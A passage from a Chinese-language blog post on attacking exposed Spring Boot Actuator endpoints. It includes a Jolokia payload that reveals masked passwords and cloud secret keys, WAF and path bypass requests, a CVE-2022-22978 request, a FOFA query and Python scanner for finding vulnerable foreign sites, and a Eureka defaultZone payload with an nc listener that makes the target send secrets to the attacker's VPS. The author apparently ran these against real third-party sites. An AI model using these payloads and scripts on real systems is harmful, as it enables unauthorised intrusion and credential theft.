class=\"line\"><span>&#x3C;/dependency></span></span></code></pre>\n<p>除此之外我们还需要在<code>/src/main/resources/application.properties</code>加上：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>spring.application.admin.enabled=true</span></span></code></pre>\n<p>首先依旧是访问<code>/actuator/env</code>接口，，获取想要获得明文的属性名，然后通过jolokia调用相关MBean获取明文。</p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/9.png\" class=\"\"></p>\n<p>接下来我们访问<code>/actuator/jolokia/list</code></p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/10.png\" class=\"\"></p>\n<p>查看的内容是目标环境中存在的MBean</p>\n<p>接下来我们尝试通过调用我们找到的MBean来获取我们感兴趣字段的明文：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>POST/actuator/jolokia </span></span>\n<span class=\"line\"><span>Content-Type:application/json </span></span>\n<span class=\"line\"><span>&#123;\"mbean\":\"org.springframework.boot:name=SpringApplication,type=Admin\",\"operation\":\"getProperty\",\"type\":\"EXEC\",\"arguments\":[\"security.user.password\"]&#125;</span></span>\n<span class=\"line\"><span>#这里用的是security.user.password，在我这里查询应该是cloud.aws.credentials.secret-key</span></span></code></pre>\n<p>jolokia是一个JMX-HTTP桥接器，在Java中，JMX（Java Management Extensions）是用来在程序运行期间管理和监控Java程序的底层机制。Jolokia允许你通过发送简单的HTTP(JSON)请求，去调用Java底层的JMX方法，这段payload其实是执行了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>// 获取名为 SpringApplication 的管理 Bean (MBean)</span></span>\n<span class=\"line\"><span>Object mbean = getMBean(\"org.springframework.boot:name=SpringApplication,type=Admin\");</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>// 执行 (EXEC) 它的 getProperty 方法，传入参数 \"security.user.password\"</span></span>\n<span class=\"line\"><span>mbean.getProperty(\"security.user.password\");</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/11.png\" class=\"\"></p>\n<p>如果是直接<code>change request method</code>的话要记得把<code>Content-Type</code>改为<code>application/json</code>，否则默认会是<code>application/x-www-form-urlencoded</code></p>\n<h3 id=\"绕过waf的一些相关方法\"><a class=\"anchor\" href=\"#绕过waf的一些相关方法\">#</a> 绕过waf的一些相关方法</h3>\n<p>文章参考：<a href=\"https://zone.ci/secarticles/wx/501728.html\">SpringBootActuator配置错误利用实战：路径探测、绕过技巧与敏感端点攻击 | ZONE.CI 全球网</a></p>\n<ul>\n<li>\n<p>路径变体寻找actuator：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#系统管理员可能将端点直接暴露在站点根目录下</span></span>\n<span class=\"line\"><span>GET /env HTTP/2</span></span>\n<span class=\"line\"><span>#Actuator 也可能存在于子目录中</span></span>\n<span class=\"line\"><span>GET /att-admin/env HTTP/2</span></span>\n<span class=\"line\"><span>GET /att-admin/actuator/env HTTP/2</span></span>\n<span class=\"line\"><span>GET /att-admin/info/env HTTP/2</span></span></code></pre>\n</li>\n<li>\n<p>通过特殊HTTP头访问actuator</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>X-Forwarded-For: 127.0.0.1</span></span>\n<span class=\"line\"><span>X-Original-URL: /avtuator/env</span></span></code></pre>\n</li>\n<li>\n<p>访问mappings端点</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET /actuator/mappings HTTP/2</span></span></code></pre>\n<p>访问这个端点很可能暴露出一些路由，去尝试访问就行</p>\n<p>如果mappings不可用的话，可以检查metrics端点：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET /actuator/metrics HTTP/2</span></span></code></pre>\n<p>它会返回可在后续请求中查询的指标名称列表:</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;\"names\":[\"application.ready.time\",\"application.started.time\",\"disk.free\",\"disk.total\",\"executor.active\",\"executor.completed\",\"executor.pool.core\",\"executor.pool.max\",\"executor.pool.size\",\"executor.queue.remaining\",\"executor.queued\",\"http.client.requests\",\"http.client.requests.active\",\"http.server.requests\",\"http.server.requests.active\",\"jvm.buffer.count\",\"jvm.buffer.memory.used\",\"jvm.buffer.total.capacity\",\"jvm.classes.loaded\",\"jvm.classes.unloaded\",\"jvm.compilation.time\",\"jvm.gc.live.data.size\",\"jvm.gc.max.data.size\",\"jvm.gc.memory.allocated\",\"jvm.gc.memory.promoted\",\"jvm.gc.overhead\",\"jvm.gc.pause\",\"jvm.info\",\"jvm.memory.committed\",\"jvm.memory.max\",\"jvm.memory.usage.after.gc\",\"jvm.memory.used\",\"jvm.threads.daemon\",\"jvm.threads.live\",\"jvm.threads.peak\",\"jvm.threads.started\",\"jvm.threads.states\",\"logback.events\",\"process.cpu.time\",\"process.cpu.usage\",\"process.files.max\",\"process.files.open\",\"process.start.time\",\"process.uptime\",\"spring.cloud.gateway.requests\",\"spring.cloud.gateway.routes.count\",\"system.cpu.count\",\"system.cpu.usage\",\"system.load.average.1m\"]&#125;</span></span></code></pre>\n<p>其中大部分是普通的元数据，值得关注的有：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#利用这个字段产生的值尝试 vhost Fuzz 可能会有收获。这些主机名在 SSRF 场景中也非常有价值</span></span>\n<span class=\"line\"><span>spring.cloud.gateway.requests</span></span>\n<span class=\"line\"><span>#本质上是 mappings的低精度替代——信息量较少但仍然有用。从这里开始测试发现的路由即可</span></span>\n<span class=\"line\"><span>http.server.requests</span></span>\n<span class=\"line\"><span>#其含义与其他 metrics 类似。这些指标提供了有用的信息，能间接引导你继续深入</span></span>\n<span class=\"line\"><span>http.client.requests</span></span></code></pre>\n<p>使用方法如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET /actuator/metrics/&#123;metric-name&#125; HTTP/2</span></span></code></pre>\n<p>查询后 (精简输出) 可以揭示服务器或客户端最近发送或接收的请求</p>\n</li>\n<li>\n<p>路径遍历与绕过</p>\n<p>一般来说，简单和双重 URL 编码有时能帮助访问”被屏蔽”的 Actuator 端点</p>\n<p>上述引用文章也引用了<a href=\"https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf%E8%BF%99%E4%B8%AA%E5%8F%AB%E5%81%9AOrange\">https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf这个叫做Orange</a> Tsai大佬的描述，通常表示为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET /..;/actuator/env HTTP/2</span></span>\n<span class=\"line\"><span>GET /static../actuator/env HTTP/2</span></span>\n<span class=\"line\"><span>GET /actuator/health/..;/env HTTP/2</span></span></code></pre>\n</li>\n<li>\n<p>替代方案：使用&quot;;&quot;绕过</p>\n<p>成功的原因通常是不良的重写规则、黑名单或配置错误的规则</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET /;/actuator/env HTTP/2</span></span>\n<span class=\"line\"><span>GET /actuator;/env HTTP/2</span></span>\n<span class=\"line\"><span>GET /actuator/env; HTTP/2</span></span>\n<span class=\"line\"><span>GET /actuator/env;.. HTTP/2</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/12.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/13.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/14.png\" class=\"\"></p>\n</li>\n<li>\n<p>通过httptrace端点实现会话接管</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET /actuator/httptrace HTTP/2</span></span></code></pre>\n</li>\n<li>\n<p>其他有用的端点：logfile与gateway</p>\n<p>Actuator经常暴露 <code>gateway/routes</code>端点。如果你有写权限，SSRF 是现实可行的；在旧版Spring Boot中甚至可能导致RCE。logfile端点需要由管理员启用，它返回特定事件的日志。</p>\n</li>\n<li>\n<p>CVE-2022-22978：允许绕过认证</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET /actuator/%0Aenv HTTP/1.1</span></span></code></pre>\n</li>\n</ul>\n<h2 id=\"实例\"><a class=\"anchor\" href=\"#实例\">#</a> 实例</h2>\n<p>在fofa上搜索：<code>body=&quot;Whitelabel Error Page&quot; &amp;&amp; country!=&quot;CN&quot;</code>然后通过python发包探测哪些存在actuator泄露，具体脚本可参考：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">route</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/actuator/env</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">urls</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">这里面写你搜索到的第一个url</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">第二个</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">第三个</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> url </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> urls</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    turl </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> url </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> route</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        response</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">turl</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">timeout</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"请求：</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">turl</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> response</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">status_code </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">==</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 200</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">成功</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">response</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">text</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">300</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">请求失败</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    except</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">exceptions</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">RequestException </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        pass</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">-</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">*</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">50</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>这样你就可以看到类似的页面：</p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/15.png\" class=\"\"></p>\n<p>我尝试的是具有<code>/avtuator/jolokia/list</code>的网站，所以我尝试了第一种获取明文方法：</p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/16.png\" class=\"\"></p>\n<p>接下来我再复现另外几种：</p>\n<h3 id=\"vps\"><a class=\"anchor\" href=\"#vps\">#</a> VPS</h3>\n<p>利用条件：</p>\n<p>可以GET请求目标网站的/env，可以POST请求目标网站的/env，可以POST请求目标网站的/refresh接口刷新配置（存在spring-boot-starter-actuator依赖），目标使用了spring-cloud-starter-netflix-eureka-client依赖，目标可以请求攻击者的服务器（请求可出外网），Spring Boot版本大于2.2.4，则必须使用下面的属性手动启用POST API调用，management.endpoint.env.post.enabled=true，否则不能通过POST访问env端点。</p>\n<p><strong>利用方法</strong></p>\n<ol>\n<li>首先访问<code>url+/actuator/env</code>来获取我们想要明文字段的key，我这里是<code>sun.java.command</code></li>\n<li>在自己控制的外网服务器上监听80端口<code>nc -lvp80</code></li>\n<li>将下面</li>\n</ol>\n<p><code>http://value:$&#123;security.user.password&#125;@your-vps-ip</code><br />\n<code>security.user.password</code>换成自己想要获取的对应的星号*遮掩的属性名；<br />\n<code>your-vps-ip</code>换成自己外网服务器的真实ip地址</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>POST/actuator/env </span></span>\n<span class=\"line\"><span>Content-Type:application/json </span></span>\n<span class=\"line\"><span>&#123;\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http://value:$&#123;security.user.password&#125;@your-vps-ip\"&#125;</span></span></code></pre>\n<p>然后刷新配置：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>POST/actuator/refresh </span></span>\n<span class=\"line\"><span>Content-Type:application/json</span></span></code></pre>\n<p>按理来说这里我的监听应该能收到：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET/apps/HTTP/1.1 </span></span>\n<span class=\"line\"><span>Accept:application/json,application/*+json </span></span>\n<span class=\"line\"><span>Authorization:BasicdmFsdWU6cm9vdA== </span></span></code></pre>\n<p>类似于这种的请求，然后将Authorization里面的字段base64解码之后就可以查看value，但是我这里没有看到请求，倒是在对方服务器actuator里面看到了......</p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/19.png\" class=\"\"></p>\n<p>可以看到是6007，好像是利用其出网必须是1.x版本，可惜了。。。。。</p>\n<p>这里ZLARYY在练习使用python呢：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">base_url</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://受攻击的服务器</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">route1</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/actuator/env</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">data</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">eureka.client.serviceUrl.defaultZone</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">value</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://value:$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;server.port&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">@你的公网ip:8888/eureka/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">headers</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Content-Type</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">application/json</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">r1</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">post</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">base_url</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">route1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">json</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">data</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">headers</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">headers</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">timeout</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">r1</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">status_code</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">r1</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">text</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">300</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">route2</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/actuator/refresh</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">r2</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">post</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">base_url</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">route2</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">headers</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span 